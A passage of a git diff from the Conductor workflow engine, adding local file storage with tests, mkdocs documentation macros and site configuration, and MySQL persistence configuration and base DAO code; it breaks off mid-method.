    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.local.storage; + +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Path; +import java.time.Duration; +import java.util.List; + +import org.conductoross.conductor.core.storage.FileStorage; +import org.conductoross.conductor.core.storage.StorageFileInfo; +import org.conductoross.conductor.local.config.LocalFileStorageProperties; +import org.conductoross.conductor.model.file.StorageType; + +import com.netflix.conductor.core.exception.NonTransientException; + +/** + * {@link FileStorage} backed by the server-local filesystem (zero-infra default). Multipart is a + * no-op — the SDK writes directly via {@code LocalFileStorageBackend}. + */ +public class LocalFileStorage implements FileStorage { + + private final Path baseDirectory; + + public LocalFileStorage(LocalFileStorageProperties properties) { + this.baseDirectory = Path.of(properties.getDirectory()); + try { + Files.createDirectories(baseDirectory); + } catch (IOException e) { + throw new NonTransientException( + "Failed to create local file storage directory: " + baseDirectory, e); + } + } + + @Override + public StorageType getStorageType() { + return StorageType.LOCAL; + } + + @Override + public String generateUploadUrl(String storagePath, Duration expiration) { + return resolveUri(storagePath); + } + + @Override + public String generateDownloadUrl(String storagePath, Duration expiration) { + return resolveUri(storagePath); + } + + @Override + public StorageFileInfo getStorageFileInfo(String storagePath) { + Path path = baseDirectory.resolve(storagePath); + if (!Files.exists(path)) { + return null; + } + StorageFileInfo info = new StorageFileInfo(); + info.setExists(true); + info.setContentHash(null); + try { + info.setContentSize(Files.size(path)); + } catch (IOException e) { + throw new NonTransientException("Failed to get file size: " + path, e); + } + return info; + } + + @Override + public String initiateMultipartUpload(String storagePath) { + return "local-noop"; + } + + @Override + public String generatePartUploadUrl( + String storagePath, String uploadId, int partNumber, Duration expiration) { + return resolveUri(storagePath); + } + + @Override + public void completeMultipartUpload( + String storagePath, String uploadId, List partETags) { + // no-op for local storage + } + + private String resolveUri(String storagePath) { + return baseDirectory.resolve(storagePath).toAbsolutePath().toUri().toString(); + } +} diff --git a/local-file-storage/src/main/resources/META-INF/additional-spring-configuration-metadata.json b/local-file-storage/src/main/resources/META-INF/additional-spring-configuration-metadata.json new file mode 100644 index 0000000..2aa20ff --- /dev/null +++ b/local-file-storage/src/main/resources/META-INF/additional-spring-configuration-metadata.json @@ -0,0 +1,9 @@ +{ + "properties": [ + { + "name": "conductor.file-storage.local.directory", + "type": "java.lang.String", + "description": "Local filesystem directory where uploaded files are stored. Defaults to /conductor/files-uploaded." + } + ] +} diff --git a/local-file-storage/src/test/java/org/conductoross/conductor/local/storage/LocalFileStorageTest.java b/local-file-storage/src/test/java/org/conductoross/conductor/local/storage/LocalFileStorageTest.java new file mode 100644 index 0000000..375ac27 --- /dev/null +++ b/local-file-storage/src/test/java/org/conductoross/conductor/local/storage/LocalFileStorageTest.java @@ -0,0 +1,104 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.local.storage; + +import java.io.IOException; +import java.net.URI; +import java.nio.file.Files; +import java.nio.file.Path; +import java.time.Duration; +import java.util.List; + +import org.conductoross.conductor.core.storage.StorageFileInfo; +import org.conductoross.conductor.local.config.LocalFileStorageProperties; +import org.conductoross.conductor.model.file.StorageType; +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.TemporaryFolder; + +import static org.junit.Assert.*; + +public class LocalFileStorageTest { + + @Rule public TemporaryFolder tempFolder = new TemporaryFolder(); + + private LocalFileStorage storage; + + @Before + public void setUp() { + LocalFileStorageProperties props = new LocalFileStorageProperties(); + props.setDirectory(tempFolder.getRoot().getAbsolutePath()); + storage = new LocalFileStorage(props); + } + + @Test + public void testGetStorageType() { + assertEquals(StorageType.LOCAL, storage.getStorageType()); + } + + @Test + public void testGenerateUploadUrlReturnsFileUri() { + String url = storage.generateUploadUrl("files/abc/report.pdf", Duration.ofSeconds(60)); + assertNotNull(url); + assertTrue("expected file:// URI, got: " + url, url.startsWith("file:///")); + Path resolved = Path.of(URI.create(url)); + assertTrue(resolved.isAbsolute()); + assertTrue(resolved.endsWith(Path.of("files", "abc", "report.pdf"))); + } + + @Test + public void testGenerateDownloadUrlReturnsFileUri() { + String url = storage.generateDownloadUrl("files/abc/report.pdf", Duration.ofSeconds(60)); + assertNotNull(url); + assertTrue("expected file:// URI, got: " + url, url.startsWith("file:///")); + Path resolved = Path.of(URI.create(url)); + assertTrue(resolved.endsWith(Path.of("files", "abc", "report.pdf"))); + } + + @Test + public void testGetStorageFileInfoForExistingFile() throws IOException { + Path dir = tempFolder.getRoot().toPath().resolve("files/abc"); + Files.createDirectories(dir); + Path file = dir.resolve("report.pdf"); + Files.write(file, new byte[] {1, 2, 3, 4, 5}); + + StorageFileInfo info = storage.getStorageFileInfo("files/abc/report.pdf"); + + assertNotNull(info); + assertTrue(info.isExists()); + assertNull(info.getContentHash()); + assertEquals(5, info.getContentSize()); + } + + @Test + public void testGetStorageFileInfoForMissingFile() { + StorageFileInfo info = storage.getStorageFileInfo("files/missing/file.pdf"); + assertNull(info); + } + + @Test + public void testMultipartMethodsAreNoOp() { + String uploadId = storage.initiateMultipartUpload("files/abc/report.pdf"); + assertEquals("local-noop", uploadId); + + String partUrl = + storage.generatePartUploadUrl( + "files/abc/report.pdf", uploadId, 1, Duration.ofSeconds(60)); + assertNotNull(partUrl); + assertTrue("expected file:// URI, got: " + partUrl, partUrl.startsWith("file:///")); + + // complete is no-op — no exception + storage.completeMultipartUpload("files/abc/report.pdf", uploadId, List.of()); + } +} diff --git a/main.py b/main.py new file mode 100644 index 0000000..9a99520 --- /dev/null +++ b/main.py @@ -0,0 +1,93 @@ +import os +import re +import subprocess +import sys + +def on_pre_build(env): + """Fetch SDK README files before the build starts.""" + script = os.path.join(os.path.dirname(os.path.abspath(__file__)), "scripts", "fetch-sdk-docs.py") + if os.path.exists(script): + print("Fetching SDK documentation from GitHub...") + subprocess.run([sys.executable, script], check=False) + +def define_env(env): + "Hook function" + + @env.macro + def insert_content(key = None): + key = key or env.page.title + filename = env.variables['extra']['additional_content'][key] + return include_file(filename) + + @env.macro + def include_file(filename): + prefix = env.variables['config']['docs_dir'] + full_filename = os.path.join(prefix, filename) + with open(full_filename, 'r') as f: + lines = f.readlines() + return ''.join(lines) + + + """ + def copy_markdown_images(tmpRoot, markdown): + # root = os.path.dirname(os.path.dirname(self.page.url)) + root = self.page.url + + paths = [] + + p = re.compile("!\[.*\]\((.*)\)") + it = p.finditer(markdown) + for match in it: + path = match.group(1) + paths.append(path) + + destinationPath = os.path.realpath(self.config['base_path'] + "/" + + root + "/gen_/" + path) + + if not os.path.isfile(destinationPath): + print("Copying image: " + path + " to " + destinationPath) + + os.makedirs(os.path.dirname(destinationPath), exist_ok=True) + shutil.copyfile(tmpRoot + "/" + path, destinationPath) + + for path in paths: + markdown = markdown.replace(path, "gen_/" + path) + + return markdown + """ + + @env.macro + def snippet(file_path, section_name, num_sections=1): + p = re.compile("^#+ ") + m = p.search(section_name) + if m: + section_level = m.span()[1] - 1 + root = env.variables['config']['docs_dir'] + full_path = os.path.join(root, file_path) + + content = "" + with open(full_path, 'r') as myfile: + content = myfile.read() + + p = re.compile("^" + section_name + "$", re.MULTILINE) + start = p.search(content) + start_span = start.span() + p = re.compile("^#{1," + str(section_level) + "} ", re.MULTILINE) + + result = "" + all = [x for x in p.finditer(content[start_span[1]:])] + + print (len(all)) + + if len(all) == 0 or (num_sections-1) >= len(all): + result = content[start_span[0]:] + else: + end = all[num_sections-1] + end_index = end.span()[0] + result = content[start_span[0]:end_index + start_span[1]] + + # If there are any images, find them, copy them + # result = copy_markdown_images(root, result) + return result + else: + return "Heading reference beginning in # is required" diff --git a/mkdocs.yml b/mkdocs.yml new file mode 100644 index 0000000..a967f8c --- /dev/null +++ b/mkdocs.yml @@ -0,0 +1,198 @@ +site_name: Durable Execution for workflows and agents +site_description: Conductor is an open-source durable code execution engine and agentic workflow engine. Orchestrate distributed workflows with saga pattern compensation, at-least-once task delivery, and polyglot workers in Java, Python, Go, and more. +repo_url: https://github.com/conductor-oss/conductor +site_url: https://conductor-oss.github.io/conductor +edit_uri: '' +strict: false +use_directory_urls: false + +nav: + - Home: index.md + - Quickstart: + - quickstart/index.md + - Concepts: devguide/concepts/index.md + - Workflows: devguide/concepts/workflows.md + - Tasks: devguide/concepts/tasks.md + - Workers: devguide/concepts/workers.md + - Durable Execution: architecture/durable-execution.md + - JSON + Code Native: architecture/json-native.md + - Task Lifecycle: devguide/architecture/tasklifecycle.md + - Guides: + - Build with AI Agents: devguide/how-tos/conductor-skills.md + - devguide/concepts/conductor.md + - Workflows: + - devguide/how-tos/Workflows/creating-workflows.md + - devguide/how-tos/Workflows/starting-workflows.md + - devguide/how-tos/Workflows/handling-errors.md + - devguide/how-tos/Workflows/debugging-workflows.md + - devguide/how-tos/Workflows/versioning-workflows.md + - devguide/how-tos/Workflows/searching-workflows.md + - devguide/how-tos/Workflows/viewing-workflow-executions.md + - devguide/how-tos/Workflows/scheduling-workflows.md + - Tasks: + - devguide/how-tos/Tasks/creating-tasks.md + - devguide/how-tos/Tasks/task-inputs.md + - devguide/how-tos/Tasks/choosing-tasks.md + - devguide/how-tos/Workers/scaling-workers.md + - Event Bus Orchestration: devguide/how-tos/event-bus.md + - Best Practices: devguide/bestpractices.md + - FAQ: devguide/faq.md + - Cookbook: + - devguide/cookbook/index.md + - Microservice Orchestration: devguide/cookbook/microservice-orchestration.md + - Dynamic Parallelism: devguide/cookbook/dynamic-parallelism.md + - Wait & Timer Patterns: devguide/cookbook/wait-and-timers.md + - Task Timeouts & Retries: devguide/cookbook/task-timeouts-and-retries.md + - Event-Driven Recipes: devguide/cookbook/event-driven.md + - AI & LLM Recipes: devguide/cookbook/ai-llm.md + - Scheduled Workflows: devguide/cookbook/workflow-scheduling.md + - Dynamic Workflows in Code: devguide/cookbook/dynamic-workflows.md + - AI Cookbook: + - devguide/ai/index.md + - Build Your First AI Agent: devguide/ai/first-ai-agent.md + - AI & LLM Recipes: devguide/cookbook/ai-llm.md + - LLM Orchestration: devguide/ai/llm-orchestration.md + - MCP Integration: devguide/ai/mcp-guide.md + - A2A Integration: devguide/ai/a2a-integration.md + - Production Agent Architecture: devguide/ai/production-agent-architecture.md + - Failure Semantics: devguide/ai/failure-semantics.md + - Why Conductor for Agents: devguide/ai/why-conductor.md + - Durable Agents: devguide/ai/durable-agents.md + - Human-in-the-Loop: devguide/ai/human-in-the-loop.md + - Dynamic Workflows: devguide/ai/dynamic-workflows.md + - Token Efficiency: devguide/ai/token-efficiency.md + - SDKs: + - documentation/clientsdks/index.md + - Java: documentation/clientsdks/java-sdk.md + - Python: documentation/clientsdks/python-sdk.md + - Go: documentation/clientsdks/go-sdk.md + - JavaScript: documentation/clientsdks/js-sdk.md + - C#: documentation/clientsdks/csharp-sdk.md + - Ruby: documentation/clientsdks/ruby-sdk.md + - Rust: documentation/clientsdks/rust-sdk.md + - Reference: + - API: + - documentation/api/index.md + - documentation/api/metadata.md + - documentation/api/startworkflow.md + - documentation/api/workflow.md + - documentation/api/task.md + - documentation/api/files.md + - documentation/api/bulk.md + - documentation/api/eventhandlers.md + - documentation/api/taskdomains.md + - documentation/api/scheduler.md + - Workflow Definition: + - documentation/configuration/workflowdef/index.md + - System Tasks: + - documentation/configuration/workflowdef/systemtasks/index.md + - documentation/configuration/workflowdef/systemtasks/http-task.md + - documentation/configuration/workflowdef/systemtasks/inline-task.md + - documentation/configuration/workflowdef/systemtasks/event-task.md + - documentation/configuration/workflowdef/systemtasks/human-task.md + - documentation/configuration/workflowdef/systemtasks/json-jq-transform-task.md + - documentation/configuration/workflowdef/systemtasks/kafka-publish-task.md + - documentation/configuration/workflowdef/systemtasks/noop-task.md + - documentation/configuration/workflowdef/systemtasks/jdbc-task.md + - documentation/configuration/workflowdef/systemtasks/wait-task.md + - Operators: + - documentation/configuration/workflowdef/operators/index.md + - documentation/configuration/workflowdef/operators/fork-task.md + - documentation/configuration/workflowdef/operators/join-task.md + - documentation/configuration/workflowdef/operators/switch-task.md + - documentation/configuration/workflowdef/operators/do-while-task.md + - documentation/configuration/workflowdef/operators/dynamic-task.md + - documentation/configuration/workflowdef/operators/dynamic-fork-task.md + - documentation/configuration/workflowdef/operators/sub-workflow-task.md + - documentation/configuration/workflowdef/operators/start-workflow-task.md + - documentation/configuration/workflowdef/operators/set-variable-task.md + - documentation/configuration/workflowdef/operators/terminate-task.md + - Task Definition: documentation/configuration/taskdef.md + - Event Handlers: documentation/configuration/eventhandlers.md + - Configuration: documentation/configuration/appconf.md + - Metrics: + - Server Metrics: documentation/metrics/server.md + - Client Metrics: documentation/metrics/client.md + - Deploy: + - Docker: devguide/running/deploy.md + - From Source: devguide/running/source.md + - Hosted: devguide/running/hosted.md + - devguide/architecture/index.md + - Advanced: + - documentation/advanced/extend.md + - documentation/advanced/isolationgroups.md + - documentation/advanced/archival-of-workflows.md + - documentation/advanced/externalpayloadstorage.md + - documentation/advanced/file-storage.md + - documentation/advanced/redis.md + - documentation/advanced/postgresql.md + - documentation/advanced/opensearch.md + +theme: + name: material + logo: img/logo.svg + custom_dir: docs/overrides + palette: + - scheme: default + primary: custom + toggle: + icon: material/brightness-7 + name: Switch to dark mode + - scheme: slate + primary: custom + toggle: + icon: material/brightness-4 + name: Switch to light mode + font: false + features: + - navigation.tabs + - navigation.tabs.sticky + - navigation.indexes + - navigation.footer + - navigation.sections + - navigation.expand + - navigation.top + - search.highlight + - search.suggest + - content.code.copy + - content.code.annotate + - content.tabs.link + - toc.follow + +extra: + generator: false + social: + - icon: fontawesome/brands/github + link: https://github.com/conductor-oss/conductor + - icon: fontawesome/brands/slack + link: https://join.slack.com/t/orkes-conductor/shared_invite/zt-3dpcskdyd-W895bJDm8psAV7viYG3jFA + - icon: fontawesome/brands/youtube + link: https://www.youtube.com/@orkesio + +extra_css: + - css/custom.css + +plugins: + - search + - macros + +markdown_extensions: + - admonition + - codehilite + - attr_list + - md_in_html + - tables + - pymdownx.highlight: + anchor_linenums: true + - pymdownx.inlinehilite + - pymdownx.snippets + - pymdownx.superfences: + custom_fences: + - name: mermaid + class: mermaid + format: !!python/name:pymdownx.superfences.fence_code_format + - pymdownx.tabbed: + alternate_style: true + - pymdownx.details + +copyright: Conductor authors diff --git a/mysql-persistence/build.gradle b/mysql-persistence/build.gradle new file mode 100644 index 0000000..06a4fc6 --- /dev/null +++ b/mysql-persistence/build.gradle @@ -0,0 +1,42 @@ +dependencies { + + implementation project(':conductor-common-persistence') + implementation project(':conductor-common') + implementation project(':conductor-core') + + compileOnly 'org.springframework.boot:spring-boot-starter' + compileOnly 'org.springframework.retry:spring-retry' + + implementation "com.google.guava:guava:${revGuava}" + + implementation "com.fasterxml.jackson.core:jackson-databind" + implementation "com.fasterxml.jackson.core:jackson-core" + + implementation "org.apache.commons:commons-lang3" + + implementation "mysql:mysql-connector-java:8.0.33" + implementation "org.springframework.boot:spring-boot-starter-jdbc" + implementation "org.flywaydb:flyway-mysql:${revFlyway}" + + testImplementation "org.apache.groovy:groovy-all:${revGroovy}" + +// testImplementation "org.elasticsearch.client:elasticsearch-rest-client:6.8.23" +// testImplementation "org.elasticsearch.client:elasticsearch-rest-high-level-client:6.8.23" + + testImplementation "org.testcontainers:elasticsearch:${revTestContainer}" + testImplementation "org.testcontainers:mysql:${revTestContainer}" + + testImplementation project(':conductor-server') + testImplementation project(':conductor-grpc-client') + testImplementation project(':conductor-es7-persistence') + + testImplementation project(':conductor-test-util').sourceSets.test.output + testImplementation project(':conductor-common-persistence').sourceSets.test.output + testImplementation "redis.clients:jedis:${revJedis}" + testImplementation "org.awaitility:awaitility:${revAwaitility}" +} + +test { + //the MySQL unit tests must run within the same JVM to share the same embedded DB + maxParallelForks = 1 +} diff --git a/mysql-persistence/src/main/java/com/netflix/conductor/mysql/config/MySQLConfiguration.java b/mysql-persistence/src/main/java/com/netflix/conductor/mysql/config/MySQLConfiguration.java new file mode 100644 index 0000000..f0355e9 --- /dev/null +++ b/mysql-persistence/src/main/java/com/netflix/conductor/mysql/config/MySQLConfiguration.java @@ -0,0 +1,140 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.mysql.config; + +import java.sql.SQLException; +import java.util.Optional; + +import javax.sql.DataSource; + +import org.conductoross.conductor.mysql.dao.MySQLSkillMetadataDAO; +import org.conductoross.conductor.mysql.dao.MySQLSkillPackageDAO; +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.autoconfigure.flyway.FlywayAutoConfiguration; +import org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.DependsOn; +import org.springframework.context.annotation.Import; +import org.springframework.retry.RetryContext; +import org.springframework.retry.backoff.NoBackOffPolicy; +import org.springframework.retry.policy.SimpleRetryPolicy; +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.mysql.dao.MySQLExecutionDAO; +import com.netflix.conductor.mysql.dao.MySQLMetadataDAO; +import com.netflix.conductor.mysql.dao.MySQLQueueDAO; + +import com.fasterxml.jackson.databind.ObjectMapper; + +import static com.mysql.cj.exceptions.MysqlErrorNumbers.ER_LOCK_DEADLOCK; + +@Configuration(proxyBeanMethods = false) +@EnableConfigurationProperties(MySQLProperties.class) +@ConditionalOnProperty(name = "conductor.db.type", havingValue = "mysql") +// Import DataSourceAutoConfiguration and FlywayAutoConfiguration when mysql database is selected. +// By default these are excluded in the main module. FlywayAutoConfiguration is required so that +// the 'flyway' and 'flywayInitializer' beans exist before the MySQL DAOs are initialized. +@Import({DataSourceAutoConfiguration.class, FlywayAutoConfiguration.class}) +public class MySQLConfiguration { + + @Bean + @DependsOn({"flyway", "flywayInitializer"}) + public MySQLMetadataDAO mySqlMetadataDAO( + @Qualifier("mysqlRetryTemplate") RetryTemplate retryTemplate, + ObjectMapper objectMapper, + DataSource dataSource, + MySQLProperties properties) { + return new MySQLMetadataDAO(retryTemplate, objectMapper, dataSource, properties); + } + + @Bean + @DependsOn({"flyway", "flywayInitializer"}) + public MySQLExecutionDAO mySqlExecutionDAO( + @Qualifier("mysqlRetryTemplate") RetryTemplate retryTemplate, + ObjectMapper objectMapper, + DataSource dataSource, + MySQLQueueDAO queueDAO) { + return new MySQLExecutionDAO(retryTemplate, objectMapper, dataSource, queueDAO); + } + + @Bean + @DependsOn({"flyway", "flywayInitializer"}) + public MySQLQueueDAO mySqlQueueDAO( + @Qualifier("mysqlRetryTemplate") RetryTemplate retryTemplate, + ObjectMapper objectMapper, + DataSource dataSource) { + return new MySQLQueueDAO(retryTemplate, objectMapper, dataSource); + } + + @Bean + @DependsOn({"flyway", "flywayInitializer"}) + @ConditionalOnProperty(name = "conductor.integrations.ai.enabled", havingValue = "true") + public MySQLSkillMetadataDAO mySqlSkillMetadataDAO( + @Qualifier("mysqlRetryTemplate") RetryTemplate retryTemplate, + ObjectMapper objectMapper, + DataSource dataSource) { + return new MySQLSkillMetadataDAO(retryTemplate, objectMapper, dataSource); + } + + @Bean + @DependsOn({"flyway", "flywayInitializer"}) + @ConditionalOnProperty(name = "conductor.integrations.ai.enabled", havingValue = "true") + public MySQLSkillPackageDAO mySqlSkillPackageDAO( + @Qualifier("mysqlRetryTemplate") RetryTemplate retryTemplate, + ObjectMapper objectMapper, + DataSource dataSource) { + return new MySQLSkillPackageDAO(retryTemplate, objectMapper, dataSource); + } + + @Bean + public RetryTemplate mysqlRetryTemplate(MySQLProperties properties) { + SimpleRetryPolicy retryPolicy = new CustomRetryPolicy(); + retryPolicy.setMaxAttempts(properties.getDeadlockRetryMax()); + + RetryTemplate retryTemplate = new RetryTemplate(); + retryTemplate.setRetryPolicy(retryPolicy); + retryTemplate.setBackOffPolicy(new NoBackOffPolicy()); + return retryTemplate; + } + + public static class CustomRetryPolicy extends SimpleRetryPolicy { + + @Override + public boolean canRetry(final RetryContext context) { + final Optional lastThrowable = + Optional.ofNullable(context.getLastThrowable()); + return lastThrowable + .map(throwable -> super.canRetry(context) && isDeadLockError(throwable)) + .orElseGet(() -> super.canRetry(context)); + } + + private boolean isDeadLockError(Throwable throwable) { + SQLException sqlException = findCauseSQLException(throwable); + if (sqlException == null) { + return false; + } + return ER_LOCK_DEADLOCK == sqlException.getErrorCode(); + } + + private SQLException findCauseSQLException(Throwable throwable) { + Throwable causeException = throwable; + while (null != causeException && !(causeException instanceof SQLException)) { + causeException = causeException.getCause(); + } + return (SQLException) causeException; + } + } +} diff --git a/mysql-persistence/src/main/java/com/netflix/conductor/mysql/config/MySQLProperties.java b/mysql-persistence/src/main/java/com/netflix/conductor/mysql/config/MySQLProperties.java new file mode 100644 index 0000000..d6fd7e5 --- /dev/null +++ b/mysql-persistence/src/main/java/com/netflix/conductor/mysql/config/MySQLProperties.java @@ -0,0 +1,42 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.mysql.config; + +import java.time.Duration; + +import org.springframework.boot.context.properties.ConfigurationProperties; + +@ConfigurationProperties("conductor.mysql") +public class MySQLProperties { + + /** The time (in seconds) after which the in-memory task definitions cache will be refreshed */ + private Duration taskDefCacheRefreshInterval = Duration.ofSeconds(60); + + private Integer deadlockRetryMax = 3; + + public Duration getTaskDefCacheRefreshInterval() { + return taskDefCacheRefreshInterval; + } + + public void setTaskDefCacheRefreshInterval(Duration taskDefCacheRefreshInterval) { + this.taskDefCacheRefreshInterval = taskDefCacheRefreshInterval; + } + + public Integer getDeadlockRetryMax() { + return deadlockRetryMax; + } + + public void setDeadlockRetryMax(Integer deadlockRetryMax) { + this.deadlockRetryMax = deadlockRetryMax; + } +} diff --git a/mysql-persistence/src/main/java/com/netflix/conductor/mysql/dao/MySQLBaseDAO.java b/mysql-persistence/src/main/java/com/netflix/conductor/mysql/dao/MySQLBaseDAO.java new file mode 100644 index 0000000..d12dfc5 --- /dev/null +++ b/mysql-persistence/src/main/java/com/netflix/conductor/mysql/dao/MySQLBaseDAO.java @@ -0,0 +1,256 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.mysql.dao; + +import java.io.IOException; +import java.sql.Connection; +import java.sql.SQLException; +import java.time.Duration; +import java.time.Instant; +import java.util.Arrays; +import java.util.List; +import java.util.function.Consumer; + +import javax.sql.DataSource; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.core.exception.NonTransientException; +import com.netflix.conductor.mysql.util.*; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.core.type.TypeReference; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.collect.ImmutableList; + +public abstract class MySQLBaseDAO { + + private static final List EXCLUDED_STACKTRACE_CLASS = + ImmutableList.of(MySQLBaseDAO.class.getName(), Thread.class.getName()); + + protected final Logger logger = LoggerFactory.getLogger(getClass()); + protected final ObjectMapper objectMapper; + protected final DataSource dataSource; + + private final RetryTemplate retryTemplate; + + protected MySQLBaseDAO( + RetryTemplate retryTemplate, ObjectMapper objectMapper, DataSource dataSource) { + this.retryTemplate = retryTemplate; + this.objectMapper = objectMapper; + this.dataSource = dataSource; + } + + protected final LazyToString getCallingMethod() { + return new LazyToString( + () -> + Arrays.stream(Thread.currentThread().getStackTrace()) + .filter( + ste -> + !EXCLUDED_STACKTRACE_CLASS.contains( + ste.getClassName())) + .findFirst() + .map(StackTraceElement::getMethodName) + .orElseThrow(() -> new NullPointerException("Cannot find Caller"))); + } + + protected String toJson(Object value) { + try { + return objectMapper.writeValueAsString(value); + } catch (JsonProcessingException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + protected T readValue(String json, Class tClass) { + try { + return objectMapper.readValue(json, tClass); + } catch (IOException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + protected T readValue(String json, TypeReference typeReference) { + try { + return objectMapper.readValue(json, typeReference); + } catch (IOException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + /** + * Initialize a new transactional {@link Connection} from {@link #dataSource} and pass it to + * {@literal function}. + * + *

    Successful executions of {@literal function} will result in a commit and return of {@link + * TransactionalFunction#apply(Connection)}. + * + *

    If any {@link Throwable} thrown from {@code TransactionalFunction#apply(Connection)} will + * result in a rollback of the transaction and will be wrapped in an {@link + * NonTransientException} if it is not already one. + * + *

    Generally this is used to wrap multiple {@link #execute(Connection, String, + * ExecuteFunction)} or {@link #query(Connection, String, QueryFunction)} invocations that + * produce some expected return value. + * + * @param function The function to apply with a new transactional {@link Connection} + * @param The return type. + * @return The result of {@code TransactionalFunction#apply(Connection)} + * @throws NonTransientException If any errors occur. + */ + private R getWithTransaction(final TransactionalFunction function) { + final Instant start = Instant.now(); + LazyToString callingMethod = getCallingMethod(); + logger.trace("{} : starting transaction", callingMethod); + + try (Connection tx = dataSource.getConnection()) { + boolean previousAutoCommitMode = tx.getAutoCommit(); + tx.setAutoCommit(false); + try { + R result = function.apply(tx); + tx.commit(); + return result; + } catch (Throwable th) { + tx.rollback(); + if (th instanceof NonTransientException) { + throw th; + } + throw new NonTransientException(th.getMessage(), th); + } finally { + tx.setAutoCommit(previousAutoCommitMode); + } + } catch (SQLException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } finally { + logger.trace( + "{} : took {}ms", + callingMethod, + Duration.between(start, Instant.now()).toMillis()); + } + } + + R getWithRetriedTransactions(final TransactionalFunction function) { + try { + return retryTemplate.execute(context -> getWithTransaction(function)); + } catch (Exception e) { + throw new NonTransientException(e.getMessage(), e); + } + } + + protected R getWithTransactionWithOutErrorPropagation(TransactionalFunction function) { + Instant start = Instant.now(); + LazyToString callingMethod = getCallingMethod(); + logger.trace("{} : starting transaction", callingMethod); + + try (Connection tx = dataSource.getConnection()) { + boolean previousAutoCommitMode = tx.getAutoCommit(); + tx.setAutoCommit(false); + try { + R result = function.apply(tx); + tx.commit(); + return result; + } catch (Throwable th) { + tx.rollback(); + logger.info(th.getMessage()); + return null; + } finally { + tx.setAutoCommit(previousAutoCommitMode); + } + } catch (SQLException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } finally { + logger.trace( + "{} : took {}ms", + callingMethod, + Duration.between(start, Instant.now()).toMillis()); + } + } + + /** + * Wraps {@link #getWithRetriedTransactions(TransactionalFunction)} with no return value. + * + *

    Generally this is used to wrap multiple {@link #execute(Connection, String, + * ExecuteFunction)} or {@link #query(Connection, String, QueryFunction)} invocations that + * produce no expected return value. + * + * @param consumer The {@link Consumer} callback to pass a transactional {@link Connection} to. + * @throws NonTransientException If any errors occur. + * @see #getWithRetriedTransactions(TransactionalFunction) + */ + protected void withTransaction(Consumer consumer) { + getWithRetriedTransactions( + connection -> { + consumer.accept(connection); + return null; + }); + } + + /** + * Initiate a new transaction and execute a {@link Query} within that context, then return the + * results of {@literal function}. + * + * @param query The query string to prepare. + * @param function The functional callback to pass a {@link Query} to. + * @param The expected return type of {@literal function}. + * @return The results of applying {@literal function}. + */ + protected R queryWithTransaction(String query, QueryFunction function) { + return getWithRetriedTransactions(tx -> query(tx, query, function)); + } + + /** + * Execute a {@link Query} within the context of a given transaction and return the results of + * {@literal function}. + * + * @param tx The transactional {@link Connection} to use. + * @param query The query string to prepare. + * @param function The functional callback to pass a {@link Query} to. + * @param The expected return type of {@literal function}. + * @return The results of applying {@literal function}. + */ + protected R query(Connection tx, String query, QueryFunction function) { + try (Query q = new Query(objectMapper, tx, query)) { + return function.apply(q); + } catch (SQLException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + /** + * Execute a statement with no expected return value within a given transaction. + * + * @param tx The transactional {@link Connection} to use. + * @param query The query string to prepare. + * @param function The functional callback to pass a {@link Query} to. + */ + protected void execute(Connection tx, String query, ExecuteFunction function) { + try 